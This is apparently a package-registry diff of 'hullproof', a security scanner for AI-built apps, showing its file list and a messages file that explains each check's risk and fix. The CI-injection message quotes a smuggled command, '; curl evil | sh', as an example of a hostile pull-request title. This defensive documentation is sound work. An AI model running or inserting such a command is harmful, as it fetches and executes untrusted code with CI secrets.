hullproof 0.0.0-stage → 0.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +222 -0
- package/NOTICE +32 -0
- package/README.md +313 -2
- package/checks/db.firebase-rules-not-open.json +24 -0
- package/checks/db.rls-every-table.json +25 -0
- package/checks/log.no-credential-in-logs.json +30 -0
- package/checks/secrets.no-env-file-committed.json +31 -0
- package/checks/secrets.no-secret-in-public-env.json +37 -0
- package/checks/storage.firebase-rules-not-open.json +22 -0
- package/checks/supply.no-untrusted-event-in-run.json +23 -0
- package/checks/web.cors-no-reflected-origin.json +31 -0
- package/detectors/ai.json +25 -0
- package/detectors/auth.json +27 -0
- package/detectors/ci.json +19 -0
- package/detectors/containers.json +8 -0
- package/detectors/data_stores.json +38 -0
- package/detectors/frameworks.json +94 -0
- package/detectors/hosting.json +44 -0
- package/detectors/iac.json +43 -0
- package/detectors/languages.json +48 -0
- package/detectors/mobile.json +22 -0
- package/detectors/package_managers.json +39 -0
- package/detectors/payments.json +19 -0
- package/detectors/runtimes.json +17 -0
- package/dist/checks/code/admin-role.js +46 -0
- package/dist/checks/code/owner-filter.js +91 -0
- package/dist/checks/code/shared.js +84 -0
- package/dist/checks/code/webhook-verify.js +77 -0
- package/dist/checks/context.js +64 -0
- package/dist/checks/map/config-checks.js +74 -0
- package/dist/checks/map/entry-checks.js +97 -0
- package/dist/checks/map/shared.js +44 -0
- package/dist/checks/ops.js +307 -0
- package/dist/checks/pro-map.js +1 -0
- package/dist/checks/run.js +92 -0
- package/dist/checks/types.js +1 -0
- package/dist/ci/comment.js +44 -0
- package/dist/ci/sarif-check.js +157 -0
- package/dist/ci/sarif.js +61 -0
- package/dist/cli.js +358 -0
- package/dist/commands/ci.js +115 -0
- package/dist/commands/git.js +58 -0
- package/dist/commands/hooks.js +30 -0
- package/dist/commands/hunt-pro.js +1 -0
- package/dist/commands/hunt.js +86 -0
- package/dist/commands/map.js +33 -0
- package/dist/commands/mcp.js +17 -0
- package/dist/commands/pack.js +48 -0
- package/dist/commands/prove-pro.js +1 -0
- package/dist/commands/prove.js +173 -0
- package/dist/commands/report-gate.js +92 -0
- package/dist/commands/scan.js +158 -0
- package/dist/confirm/agreement.js +18 -0
- package/dist/confirm/chain.js +84 -0
- package/dist/confirm/confirm.js +112 -0
- package/dist/confirm/honesty.js +75 -0
- package/dist/confirm/lead.js +92 -0
- package/dist/confirm/merge.js +88 -0
- package/dist/confirm/query.js +145 -0
- package/dist/confirm/rule.js +86 -0
- package/dist/confirm/store.js +42 -0
- package/dist/confirm/summary.js +6 -0
- package/dist/confirm/synthesis.js +28 -0
- package/dist/discover/detectors.js +50 -0
- package/dist/discover/discover.js +270 -0
- package/dist/discover/extract.js +282 -0
- package/dist/discover/git.js +40 -0
- package/dist/discover/kit-files.js +47 -0
- package/dist/discover/walk.js +110 -0
- package/dist/env.js +57 -0
- package/dist/gate/gate.js +173 -0
- package/dist/hooks/install.js +153 -0
- package/dist/hooks/run.js +112 -0
- package/dist/map/analyze.js +201 -0
- package/dist/map/build.js +253 -0
- package/dist/map/candidates.js +49 -0
- package/dist/map/cblocks.js +77 -0
- package/dist/map/config.js +291 -0
- package/dist/map/dotnet.js +242 -0
- package/dist/map/entry.js +78 -0
- package/dist/map/expo.js +190 -0
- package/dist/map/go.js +292 -0
- package/dist/map/js-express.js +143 -0
- package/dist/map/js-misc.js +295 -0
- package/dist/map/js-next.js +292 -0
- package/dist/map/laravel.js +389 -0
- package/dist/map/lex-more.js +305 -0
- package/dist/map/lex.js +425 -0
- package/dist/map/light-index.js +191 -0
- package/dist/map/light-profiles.js +324 -0
- package/dist/map/light.js +574 -0
- package/dist/map/local-vocab.js +27 -0
- package/dist/map/mobile.js +326 -0
- package/dist/map/py-django.js +281 -0
- package/dist/map/py.js +391 -0
- package/dist/map/rails.js +391 -0
- package/dist/map/repo.js +178 -0
- package/dist/map/rust.js +312 -0
- package/dist/map/spring.js +207 -0
- package/dist/map/taint.js +96 -0
- package/dist/map/touches.js +355 -0
- package/dist/map/vocab.js +88 -0
- package/dist/mapping/controls.js +34 -0
- package/dist/mapping/dependency-policy.js +44 -0
- package/dist/mapping/map.js +44 -0
- package/dist/mapping/maps/gitleaks.json +12 -0
- package/dist/mapping/maps/osv-scanner.json +7 -0
- package/dist/mapping/maps/trivy.json +13 -0
- package/dist/mcp/confine.js +59 -0
- package/dist/mcp/protocol.js +140 -0
- package/dist/mcp/schema.js +43 -0
- package/dist/mcp/server.js +37 -0
- package/dist/mcp/tools.js +238 -0
- package/dist/packs/coverage.js +79 -0
- package/dist/packs/manifest.js +36 -0
- package/dist/packs/validate.js +271 -0
- package/dist/prove/container.js +276 -0
- package/dist/prove/exec-main.js +20 -0
- package/dist/prove/executor.js +149 -0
- package/dist/prove/local.js +131 -0
- package/dist/prove/probes.js +65 -0
- package/dist/prove/recipe.js +278 -0
- package/dist/prove/run.js +136 -0
- package/dist/prove/runner.js +1 -0
- package/dist/prove/safety.js +126 -0
- package/dist/prove/spec.js +357 -0
- package/dist/prove/store.js +65 -0
- package/dist/report/build.js +297 -0
- package/dist/report/entry-points.js +75 -0
- package/dist/report/hunt-section.js +71 -0
- package/dist/report/kit.js +41 -0
- package/dist/report/load.js +35 -0
- package/dist/report/messages.js +273 -0
- package/dist/report/prove-section.js +65 -0
- package/dist/report/report.js +156 -0
- package/dist/report/surface.js +21 -0
- package/dist/report/test-code.js +51 -0
- package/dist/report/tiers.js +44 -0
- package/dist/scanners/common.js +162 -0
- package/dist/scanners/gitleaks.js +90 -0
- package/dist/scanners/index.js +113 -0
- package/dist/scanners/osv-scanner.js +77 -0
- package/dist/scanners/run-targets.js +34 -0
- package/dist/scanners/secret-noise.js +89 -0
- package/dist/scanners/semgrep.js +142 -0
- package/dist/scanners/trivy.js +65 -0
- package/dist/scanners/types.js +1 -0
- package/dist/types/check.js +1 -0
- package/dist/types/codemap.js +1 -0
- package/dist/types/findings.js +5 -0
- package/dist/types/hunt.js +1 -0
- package/dist/types/index.js +1 -0
- package/dist/types/prove.js +1 -0
- package/dist/types/results.js +2 -0
- package/dist/types/scan.js +1 -0
- package/dist/types/stack.js +5 -0
- package/dist/util.js +71 -0
- package/dist/version.js +2 -0
- package/package.json +46 -4
- package/packs/android/fixture-result.json +43 -0
- package/packs/android/pack.json +56 -0
- package/packs/dotnet/fixture-result.json +62 -0
- package/packs/dotnet/pack.json +88 -0
- package/packs/expo/answer-key.json +51 -0
- package/packs/expo/fixture-result.json +62 -0
- package/packs/expo/pack.json +79 -0
- package/packs/firebase/answer-key.json +27 -0
- package/packs/firebase/fixture-result.json +43 -0
- package/packs/firebase/pack.json +58 -0
- package/packs/go/answer-key.json +101 -0
- package/packs/go/fixture-result.json +64 -0
- package/packs/go/pack.json +99 -0
- package/packs/ios/fixture-result.json +43 -0
- package/packs/ios/pack.json +55 -0
- package/packs/laravel/answer-key.json +84 -0
- package/packs/laravel/fixture-result.json +60 -0
- package/packs/laravel/pack.json +91 -0
- package/packs/node-ts/answer-key.json +220 -0
- package/packs/node-ts/fixture-result.json +114 -0
- package/packs/node-ts/pack.json +134 -0
- package/packs/python/answer-key.json +195 -0
- package/packs/python/fixture-result.json +119 -0
- package/packs/python/pack.json +121 -0
- package/packs/rails/answer-key.json +84 -0
- package/packs/rails/fixture-result.json +60 -0
- package/packs/rails/pack.json +78 -0
- package/packs/rust/fixture-result.json +43 -0
- package/packs/rust/pack.json +69 -0
- package/packs/spring/fixture-result.json +63 -0
- package/packs/spring/pack.json +103 -0
- package/packs/supabase/answer-key.json +52 -0
- package/packs/supabase/fixture-result.json +58 -0
- package/packs/supabase/pack.json +60 -0
- package/rules/gitleaks.toml +256 -0
- package/rules/semgrep/api-route-no-auth.yaml +31 -0
- package/rules/semgrep/cors-reflect-origin.yaml +48 -0
- package/rules/semgrep/eval-or-new-function.yaml +185 -0
- package/rules/semgrep/log-session-token.yaml +48 -0
- package/rules/semgrep/math-random-tokens.yaml +24 -0
- package/rules/semgrep/next-public-secret-name.yaml +32 -0
- package/rules/semgrep/postgrest-filter-injection.yaml +78 -0
- package/rules/semgrep/raw-sql-concat.yaml +42 -0
- package/rules/semgrep/read-by-id-no-owner.yaml +49 -0
- package/rules/semgrep/server-action-no-auth.yaml +26 -0
- package/rules/semgrep/sql-variants.yaml +99 -0
- package/rules/semgrep/ssrf-unguarded-url.yaml +137 -0
- package/rules/semgrep/subprocess-injection.yaml +163 -0
- package/rules/semgrep/taint-go.yaml +333 -0
- package/rules/semgrep/taint-java.yaml +317 -0
- package/rules/semgrep/taint-javascript.yaml +412 -0
- package/rules/semgrep/taint-php.yaml +361 -0
- package/rules/semgrep/taint-python.yaml +414 -0
- package/rules/semgrep/tool-endpoint-admin-client.yaml +86 -0
- package/rules/semgrep/user-metadata-authz.yaml +22 -0
- package/rules/semgrep/verify-result-unused.yaml +62 -0
- package/rules/semgrep/webhook-parse-before-verify.yaml +29 -0
- package/rules/test-artifact-ids.json +4 -0
- package/rules/tiers.json +427 -0
- package/schemas/check-results.schema.json +55 -0
- package/schemas/check.schema.json +41 -0
- package/schemas/codemap.schema.json +216 -0
- package/schemas/findings.schema.json +1048 -0
- package/schemas/hunt-output.schema.json +46 -0
- package/schemas/hunt-result.schema.json +58 -0
- package/schemas/results.schema.json +17 -0
- package/schemas/scan-hits.schema.json +32 -0
- package/schemas/scan-meta.schema.json +25 -0
- package/schemas/stack.schema.json +93 -0
- package/src/checks/README.md +32 -0
- package/src/checks/code/admin-role.ts +49 -0
- package/src/checks/code/owner-filter.ts +95 -0
- package/src/checks/code/shared.ts +66 -0
- package/src/checks/code/webhook-verify.ts +75 -0
- package/src/checks/context.ts +72 -0
- package/src/checks/map/config-checks.ts +79 -0
- package/src/checks/map/entry-checks.ts +116 -0
- package/src/checks/map/shared.ts +63 -0
- package/src/checks/ops.ts +280 -0
- package/src/checks/pro-map.ts +4 -0
- package/src/checks/run.ts +80 -0
- package/src/checks/types.ts +12 -0
- package/src/ci/comment.ts +52 -0
- package/src/ci/sarif-check.ts +100 -0
- package/src/ci/sarif.ts +72 -0
- package/src/cli.ts +273 -0
- package/src/commands/ci.ts +104 -0
- package/src/commands/git.ts +59 -0
- package/src/commands/hooks.ts +27 -0
- package/src/commands/hunt-pro.ts +4 -0
- package/src/commands/hunt.ts +68 -0
- package/src/commands/map.ts +27 -0
- package/src/commands/mcp.ts +18 -0
- package/src/commands/pack.ts +34 -0
- package/src/commands/prove-pro.ts +4 -0
- package/src/commands/prove.ts +126 -0
- package/src/commands/report-gate.ts +75 -0
- package/src/commands/scan.ts +156 -0
- package/src/confirm/agreement.ts +23 -0
- package/src/confirm/chain.ts +67 -0
- package/src/confirm/confirm.ts +107 -0
- package/src/confirm/honesty.ts +65 -0
- package/src/confirm/lead.ts +76 -0
- package/src/confirm/merge.ts +89 -0
- package/src/confirm/query.ts +126 -0
- package/src/confirm/rule.ts +76 -0
- package/src/confirm/store.ts +42 -0
- package/src/confirm/summary.ts +9 -0
- package/src/confirm/synthesis.ts +33 -0
- package/src/discover/detectors.ts +71 -0
- package/src/discover/discover.ts +253 -0
- package/src/discover/extract.ts +235 -0
- package/src/discover/git.ts +31 -0
- package/src/discover/kit-files.ts +37 -0
- package/src/discover/walk.ts +88 -0
- package/src/env.ts +51 -0
- package/src/gate/gate.ts +169 -0
- package/src/hooks/install.ts +142 -0
- package/src/hooks/run.ts +121 -0
- package/src/map/analyze.ts +219 -0
- package/src/map/build.ts +206 -0
- package/src/map/candidates.ts +47 -0
- package/src/map/cblocks.ts +55 -0
- package/src/map/config.ts +207 -0
- package/src/map/dotnet.ts +205 -0
- package/src/map/entry.ts +80 -0
- package/src/map/expo.ts +171 -0
- package/src/map/go.ts +271 -0
- package/src/map/js-express.ts +135 -0
- package/src/map/js-misc.ts +221 -0
- package/src/map/js-next.ts +282 -0
- package/src/map/laravel.ts +327 -0
- package/src/map/lex-more.ts +152 -0
- package/src/map/lex.ts +274 -0
- package/src/map/light-index.ts +134 -0
- package/src/map/light-profiles.ts +363 -0
- package/src/map/light.ts +484 -0
- package/src/map/local-vocab.ts +30 -0
- package/src/map/mobile.ts +263 -0
- package/src/map/py-django.ts +239 -0
- package/src/map/py.ts +329 -0
- package/src/map/rails.ts +291 -0
- package/src/map/repo.ts +150 -0
- package/src/map/rust.ts +256 -0
- package/src/map/spring.ts +185 -0
- package/src/map/taint.ts +86 -0
- package/src/map/touches.ts +296 -0
- package/src/map/vocab.ts +106 -0
- package/src/mapping/controls.ts +47 -0
- package/src/mapping/dependency-policy.ts +55 -0
- package/src/mapping/map.ts +59 -0
- package/src/mapping/maps/gitleaks.json +12 -0
- package/src/mapping/maps/osv-scanner.json +7 -0
- package/src/mapping/maps/trivy.json +13 -0
- package/src/mcp/confine.ts +44 -0
- package/src/mcp/protocol.ts +144 -0
- package/src/mcp/schema.ts +35 -0
- package/src/mcp/server.ts +32 -0
- package/src/mcp/tools.ts +235 -0
- package/src/packs/coverage.ts +98 -0
- package/src/packs/manifest.ts +97 -0
- package/src/packs/validate.ts +204 -0
- package/src/prove/container.ts +237 -0
- package/src/prove/exec-main.ts +16 -0
- package/src/prove/executor.ts +130 -0
- package/src/prove/local.ts +100 -0
- package/src/prove/probes.ts +68 -0
- package/src/prove/recipe.ts +215 -0
- package/src/prove/run.ts +124 -0
- package/src/prove/runner.ts +28 -0
- package/src/prove/safety.ts +98 -0
- package/src/prove/spec.ts +256 -0
- package/src/prove/store.ts +48 -0
- package/src/report/build.ts +304 -0
- package/src/report/entry-points.ts +78 -0
- package/src/report/hunt-section.ts +67 -0
- package/src/report/kit.ts +59 -0
- package/src/report/load.ts +49 -0
- package/src/report/messages.ts +270 -0
- package/src/report/prove-section.ts +61 -0
- package/src/report/report.ts +160 -0
- package/src/report/surface.ts +32 -0
- package/src/report/test-code.ts +56 -0
- package/src/report/tiers.ts +50 -0
- package/src/scanners/common.ts +149 -0
- package/src/scanners/gitleaks.ts +89 -0
- package/src/scanners/index.ts +103 -0
- package/src/scanners/osv-scanner.ts +90 -0
- package/src/scanners/run-targets.ts +35 -0
- package/src/scanners/secret-noise.ts +80 -0
- package/src/scanners/semgrep.ts +139 -0
- package/src/scanners/trivy.ts +66 -0
- package/src/scanners/types.ts +98 -0
- package/src/types/check.ts +52 -0
- package/src/types/codemap.ts +142 -0
- package/src/types/findings.ts +107 -0
- package/src/types/hunt.ts +97 -0
- package/src/types/index.ts +10 -0
- package/src/types/prove.ts +83 -0
- package/src/types/results.ts +15 -0
- package/src/types/scan.ts +63 -0
- package/src/types/stack.ts +61 -0
- package/src/util.ts +59 -0
- package/src/version.ts +2 -0
|
@@ -0,0 +1,273 @@
|
|
|
1
|
+
// Plain English text for every check and for scanner rules: what is wrong, what it lets someone do, how to fix it, and
|
|
2
|
+
// how to confirm the fix. Written for people who build with AI tools. The report never shows a tool's own message text.
|
|
3
|
+
import { readFileSync, readdirSync } from 'node:fs';
|
|
4
|
+
import { join } from 'node:path';
|
|
5
|
+
const CHECKS = {
|
|
6
|
+
'check.api.webhook-verified-before-use': {
|
|
7
|
+
title: 'Webhook is used even when its signature check fails',
|
|
8
|
+
root: 'webhook: signature result does not stop the request',
|
|
9
|
+
impact: 'Anyone who finds the webhook address can send a fake event, for example a payment that never happened, and the app acts on it.',
|
|
10
|
+
fix: 'Check the provider signature on the raw request body first. If the check fails, return an error (400 or 401) straight away, before parsing or using the event. Never only log the failure.',
|
|
11
|
+
confirm: 'Send the route a request with a wrong signature and confirm it is rejected, then rerun hullproof scan.',
|
|
12
|
+
},
|
|
13
|
+
'check.authz.owner-filter-on-id-read': {
|
|
14
|
+
title: 'Record is read by id with no check that the caller owns it',
|
|
15
|
+
root: 'authorization: read by id without an owner filter',
|
|
16
|
+
impact: 'A signed in user can change the id in the request and read another user\'s record.',
|
|
17
|
+
fix: 'Add the owner to the query, for example WHERE id = ? AND owner_id = ? with the signed in user\'s id from the session, or check the owner before returning the row.',
|
|
18
|
+
confirm: 'Request another user\'s record id while signed in as a different user and confirm you get 404, then rerun hullproof scan.',
|
|
19
|
+
},
|
|
20
|
+
'check.ai.tool-owner-filter': {
|
|
21
|
+
title: 'AI tool reads a record by id with no owner check',
|
|
22
|
+
root: 'ai tool: read by id without an owner filter',
|
|
23
|
+
impact: 'Text in a prompt can make the model ask the tool for any record id, so one user can read another user\'s data through the assistant.',
|
|
24
|
+
fix: 'Pass the signed in user to every tool and filter each read by that user (WHERE id = ? AND owner_id = ?). Never let the model choose whose data is read.',
|
|
25
|
+
confirm: 'Ask the assistant to read a record that belongs to another user and confirm it refuses, then rerun hullproof scan.',
|
|
26
|
+
},
|
|
27
|
+
'check.authz.admin-role-check': {
|
|
28
|
+
title: 'Admin route lets in any signed in user',
|
|
29
|
+
root: 'authorization: admin handler without a role check',
|
|
30
|
+
impact: 'Any user with an account can call the admin route and do what only an admin should, such as changing roles or deleting users.',
|
|
31
|
+
fix: 'In the server handler itself, load the user from the session and return 403 unless their role is admin. A check in the browser or a cookie check in middleware does not protect the route.',
|
|
32
|
+
confirm: 'Call the admin route as a normal user and confirm it returns 403, then rerun hullproof scan.',
|
|
33
|
+
},
|
|
34
|
+
'check.db.rls-every-table': {
|
|
35
|
+
title: 'Database table has no row level security',
|
|
36
|
+
root: 'database: table without row level security',
|
|
37
|
+
impact: 'With the public anon key that ships in every browser, anyone can read (and with grants, change) every row of this table through the Supabase Data API.',
|
|
38
|
+
fix: 'Add a migration with alter table <name> enable row level security, then add policies that let each user reach only their own rows. Remove grants to anon that the app does not need.',
|
|
39
|
+
confirm: 'Query the table with only the anon key and confirm no rows come back, then rerun hullproof scan.',
|
|
40
|
+
},
|
|
41
|
+
'check.db.firebase-rules-not-open': {
|
|
42
|
+
title: 'Firebase database rules let anyone read or write',
|
|
43
|
+
root: 'database: open Firebase rules',
|
|
44
|
+
impact: 'Anyone with the app\'s public config can read or overwrite the whole database.',
|
|
45
|
+
fix: 'Replace allow rules that are always true (or that expire by date) with rules that check request.auth and the owner of each document.',
|
|
46
|
+
confirm: 'Run the Firebase rules emulator tests for an unauthenticated and a different user, then rerun hullproof scan.',
|
|
47
|
+
},
|
|
48
|
+
'check.storage.firebase-rules-not-open': {
|
|
49
|
+
title: 'Firebase Storage rules let anyone read or write files',
|
|
50
|
+
root: 'storage: open Firebase rules',
|
|
51
|
+
impact: 'Anyone with the app\'s public config can download or replace every stored file.',
|
|
52
|
+
fix: 'Limit each path to its owner, for example allow read, write: if request.auth.uid == uid on /users/{uid}/.',
|
|
53
|
+
confirm: 'Try to fetch another user\'s file without signing in and confirm it is refused, then rerun hullproof scan.',
|
|
54
|
+
},
|
|
55
|
+
'check.secrets.no-secret-in-public-env': {
|
|
56
|
+
title: 'Secret key is named with a public prefix and ends up in the browser',
|
|
57
|
+
root: 'secrets: secret under a public env prefix',
|
|
58
|
+
impact: 'Variables with prefixes such as NEXT_PUBLIC_, VITE_ or EXPO_PUBLIC_ are copied into the code every visitor downloads. A service role key there gives anyone full database access.',
|
|
59
|
+
fix: 'Rename the variable without the public prefix, read it only in server code, and rotate the key in the provider dashboard because it may already be public.',
|
|
60
|
+
confirm: 'Build the app and search the built files for the key name and value; neither should appear. Then rerun hullproof scan.',
|
|
61
|
+
},
|
|
62
|
+
'check.secrets.no-env-file-committed': {
|
|
63
|
+
title: 'Environment file is committed to the repository',
|
|
64
|
+
root: 'secrets: env file in git',
|
|
65
|
+
impact: 'Anyone who can read the code, or its history, can read the values in the file.',
|
|
66
|
+
fix: 'Remove the file from git, add it to .gitignore, keep only a .env.example with empty values, and rotate every real value it held.',
|
|
67
|
+
confirm: 'git ls-files shows no .env file, then rerun hullproof scan.',
|
|
68
|
+
},
|
|
69
|
+
'check.web.cors-no-reflected-origin': {
|
|
70
|
+
title: 'CORS allows whatever site asks',
|
|
71
|
+
root: 'cors: request origin reflected',
|
|
72
|
+
impact: 'Any website a signed in user visits can call your API with their cookies and read the answers.',
|
|
73
|
+
fix: 'Compare the Origin header to an exact list of your own domains and only then send it back. Never copy the header as it is, and never pair a wildcard with credentials.',
|
|
74
|
+
confirm: 'Send a request with Origin: https://evil.example and confirm no Access-Control-Allow-Origin comes back, then rerun hullproof scan.',
|
|
75
|
+
},
|
|
76
|
+
'check.log.no-credential-in-logs': {
|
|
77
|
+
title: 'Session token or password is written to the logs',
|
|
78
|
+
root: 'logging: credential in a log line',
|
|
79
|
+
impact: 'Anyone who can read the logs (staff, a log vendor, a leaked log export) can take over the user\'s session.',
|
|
80
|
+
fix: 'Remove the token, password or key from the log call. Log a user id or a short reference instead.',
|
|
81
|
+
confirm: 'Sign in and read the server log; no token should appear. Then rerun hullproof scan.',
|
|
82
|
+
},
|
|
83
|
+
'check.supply.no-untrusted-event-in-run': {
|
|
84
|
+
title: 'CI script expands text that outsiders control',
|
|
85
|
+
root: 'supply: untrusted event data in a run step',
|
|
86
|
+
impact: 'A pull request title like "; curl evil | sh" runs as a command in CI with the job\'s token and secrets.',
|
|
87
|
+
fix: 'Pass the value through env: (for example TITLE: ${{ github.event.pull_request.title }}) and use "$TITLE" in the script.',
|
|
88
|
+
confirm: 'No run: line holds ${{ github.event... }}, then rerun hullproof scan.',
|
|
89
|
+
},
|
|
90
|
+
'check.map.mutating-route-without-auth': {
|
|
91
|
+
title: 'Route that changes data has no sign in check',
|
|
92
|
+
root: 'authentication: state changing entry point without a session read',
|
|
93
|
+
impact: 'Anyone who can reach the address can call it without signing in and change data, such as creating, editing or deleting records.',
|
|
94
|
+
fix: 'At the top of the handler, read the signed in user from the session and return 401 when there is none. Do the same for every route that changes data, unless it is a sign in route or a webhook that checks a signature.',
|
|
95
|
+
confirm: 'Call the route with no cookie or token and confirm it returns 401, then rerun hullproof scan.',
|
|
96
|
+
},
|
|
97
|
+
'check.map.data-read-without-auth': {
|
|
98
|
+
title: 'Route returns stored data to callers who are not signed in',
|
|
99
|
+
root: 'authentication: data read without a session read',
|
|
100
|
+
impact: 'Anyone can request the address and read data such as users, orders, notes or files, including other people\'s personal data.',
|
|
101
|
+
fix: 'Read the signed in user from the session first and return 401 when there is none. Then limit the query to the records that user may see.',
|
|
102
|
+
confirm: 'Call the route with no cookie or token and confirm it returns 401, then rerun hullproof scan.',
|
|
103
|
+
},
|
|
104
|
+
'check.map.write-by-id-without-owner': {
|
|
105
|
+
title: 'Update or delete by id does not check who owns the record',
|
|
106
|
+
root: 'authorization: write by id without an owner value from the session',
|
|
107
|
+
impact: 'A signed in user can send another user\'s record id and change or delete that record.',
|
|
108
|
+
fix: 'Add the owner to the query with the signed in user\'s id from the session, for example WHERE id = ? AND owner_id = ?, and treat zero changed rows as not found.',
|
|
109
|
+
confirm: 'Send another user\'s record id while signed in as a different user and confirm nothing changes, then rerun hullproof scan.',
|
|
110
|
+
},
|
|
111
|
+
'check.map.admin-route-without-role': {
|
|
112
|
+
title: 'Admin route has no server side role check',
|
|
113
|
+
root: 'authorization: admin entry point without a role check',
|
|
114
|
+
impact: 'Any user with an account, or a visitor, can call the admin route and do what only an admin should do.',
|
|
115
|
+
fix: 'In the server handler itself, load the user and return 403 unless their role is admin. A check in the browser, or a cookie check in middleware, does not protect the route.',
|
|
116
|
+
confirm: 'Call the route as a normal user and confirm it returns 403, then rerun hullproof scan.',
|
|
117
|
+
},
|
|
118
|
+
'check.map.webhook-verify-before-use': {
|
|
119
|
+
title: 'Webhook does not reliably check who sent it before using the event',
|
|
120
|
+
root: 'webhook: no signature check, one that does not stop the request, or a body parsed first',
|
|
121
|
+
impact: 'Anyone who finds the webhook address can send a fake event, for example a payment that never happened, and the app acts on it.',
|
|
122
|
+
fix: 'Read the raw request body, check the provider signature on it, and return 400 or 401 straight away when the check fails. Parse and use the event only after the check passes.',
|
|
123
|
+
confirm: 'Send the route a request with a wrong signature and confirm it is rejected, then rerun hullproof scan.',
|
|
124
|
+
},
|
|
125
|
+
'check.map.request-url-fetched': {
|
|
126
|
+
title: 'Server fetches an address that the request supplies',
|
|
127
|
+
root: 'ssrf: outbound request to a request supplied address',
|
|
128
|
+
impact: 'An attacker can make the server call internal services or cloud metadata addresses and read the answers.',
|
|
129
|
+
fix: 'Allow only known hosts: parse the URL, compare its host with a short allowlist, refuse private and loopback addresses, and do not follow redirects without checking the new address.',
|
|
130
|
+
confirm: 'Submit http://127.0.0.1 and a cloud metadata address and confirm both are refused, then rerun hullproof scan.',
|
|
131
|
+
},
|
|
132
|
+
'check.map.privileged-field-from-request': {
|
|
133
|
+
title: 'Request data can set a role, plan or similar privileged field',
|
|
134
|
+
root: 'authorization: privileged field written from request data',
|
|
135
|
+
impact: 'A user can send their own role, plan or balance in the request and give themselves admin rights or paid features.',
|
|
136
|
+
fix: 'Write only an explicit list of fields the user may change, never the whole request object, and set role, plan and similar fields only from server side code that has checked permission.',
|
|
137
|
+
confirm: 'Send the route a request that includes role: admin and confirm the role does not change, then rerun hullproof scan.',
|
|
138
|
+
},
|
|
139
|
+
'check.map.privileged-action-without-audit': {
|
|
140
|
+
title: 'Admin action changes data and writes no audit record',
|
|
141
|
+
root: 'logging: privileged action without an audit record',
|
|
142
|
+
impact: 'When an admin account is misused, or an admin makes a mistake, there is no record of who changed what and when.',
|
|
143
|
+
fix: 'Write an audit record in the same handler for every role change, delete and other admin write: who, what, which record and when, stored where the app cannot edit it afterwards.',
|
|
144
|
+
confirm: 'Make an admin change and confirm one audit record appears, then rerun hullproof scan.',
|
|
145
|
+
},
|
|
146
|
+
'check.map.redirect-from-request': {
|
|
147
|
+
title: 'Redirect target comes from the request without a check',
|
|
148
|
+
root: 'redirect: target taken from the request',
|
|
149
|
+
impact: 'An attacker can send a link on your domain that lands a signed in user on a fake page, which is a common step in phishing.',
|
|
150
|
+
fix: 'Accept only relative paths that start with a single slash, or compare the full address with an allowlist, and fall back to a fixed page otherwise.',
|
|
151
|
+
confirm: 'Pass https://example.org as the redirect value and confirm the app ignores it, then rerun hullproof scan.',
|
|
152
|
+
},
|
|
153
|
+
'check.map.mobile-secret-in-config': {
|
|
154
|
+
title: 'Secret written into a mobile configuration file',
|
|
155
|
+
root: 'mobile: a secret value sits in a file that ships inside the app',
|
|
156
|
+
impact: 'Anyone can unpack the app and read the file. A secret in it is public from the day the app is released.',
|
|
157
|
+
fix: 'Remove the value from the file. Keep the secret on your server and have the app ask the server, or fetch a short lived token at run time, then rotate the value that was shipped.',
|
|
158
|
+
confirm: 'Unpack the built app, search for the name, and confirm no value is stored, then rerun hullproof scan.',
|
|
159
|
+
},
|
|
160
|
+
'check.map.read-by-id-without-owner': {
|
|
161
|
+
title: 'A signed in user can read another user\'s record by id',
|
|
162
|
+
root: 'authorization: record read by an id from the request with no owner condition',
|
|
163
|
+
impact: 'Any signed in user can change the id in the request and read records that belong to other users.',
|
|
164
|
+
fix: 'Add the owner to the query (where id equals the request id and owner equals the signed in user) or check ownership after the read and answer not found when it does not match.',
|
|
165
|
+
confirm: 'Sign in as user A, request a record that belongs to user B by its id, confirm you get not found, then rerun hullproof scan.',
|
|
166
|
+
},
|
|
167
|
+
'check.map.supabase-open-table': {
|
|
168
|
+
title: 'Table is open to the public key through a grant or an always true policy',
|
|
169
|
+
root: 'database: table readable or writable without signing in',
|
|
170
|
+
impact: 'With the public anon key that ships in every browser, anyone can read or change the rows through the Supabase Data API.',
|
|
171
|
+
fix: 'Revoke the grants the anon role does not need, enable row level security, and replace always true policies with policies that tie each row to its owner.',
|
|
172
|
+
confirm: 'Query the table with only the anon key and confirm no rows come back, then rerun hullproof scan.',
|
|
173
|
+
},
|
|
174
|
+
'check.map.supabase-privileged-column-grant': {
|
|
175
|
+
title: 'Signed in users can update role, plan or similar columns directly',
|
|
176
|
+
root: 'database: client role can write a privileged column',
|
|
177
|
+
impact: 'Any signed in user can call the Data API and set their own role or plan, which grants admin rights or paid features.',
|
|
178
|
+
fix: 'Replace the whole table update grant with a grant that lists only the columns users may change, and move role and plan changes into server side code.',
|
|
179
|
+
confirm: 'As a normal user, update your own role through the Data API and confirm it is refused, then rerun hullproof scan.',
|
|
180
|
+
},
|
|
181
|
+
'check.map.supabase-policy-trusts-claims': {
|
|
182
|
+
title: 'Policy trusts a value the user can edit',
|
|
183
|
+
root: 'database: policy reads user_metadata',
|
|
184
|
+
impact: 'Users can change their own user_metadata, so a policy that trusts it can be passed by anyone who edits it.',
|
|
185
|
+
fix: 'Base policies on the user id and on app_metadata or a roles table that only server code can write.',
|
|
186
|
+
confirm: 'Change user_metadata on a test account and confirm access does not change, then rerun hullproof scan.',
|
|
187
|
+
},
|
|
188
|
+
'check.map.firebase-auth-only-rule': {
|
|
189
|
+
title: 'Firebase rule lets any signed in user reach another user\'s data',
|
|
190
|
+
root: 'database: rule checks sign in but not ownership',
|
|
191
|
+
impact: 'Any signed in user can read or change the data stored under another user\'s id.',
|
|
192
|
+
fix: 'Compare the id in the path with the caller, for example request.auth.uid == userId, for every path that holds one user\'s data.',
|
|
193
|
+
confirm: 'Run the rules emulator tests with a second signed in user and confirm access is refused, then rerun hullproof scan.',
|
|
194
|
+
},
|
|
195
|
+
};
|
|
196
|
+
export function checkMessage(id) {
|
|
197
|
+
return CHECKS[id] ?? { title: `Check ${id} failed`, root: `check ${id}`, impact: 'See the check definition.', fix: 'See the check definition.', confirm: 'Rerun hullproof scan.' };
|
|
198
|
+
}
|
|
199
|
+
export const checkIds = () => Object.keys(CHECKS);
|
|
200
|
+
// Scanner rules: the first sentence of the rule's own message is the title, the rest is the fix. Semgrep rule files are
|
|
201
|
+
// read from the engine's rules folder and the rule pack; Gitleaks, OSV Scanner and Trivy get a fixed text per tool.
|
|
202
|
+
const ruleCache = new Map();
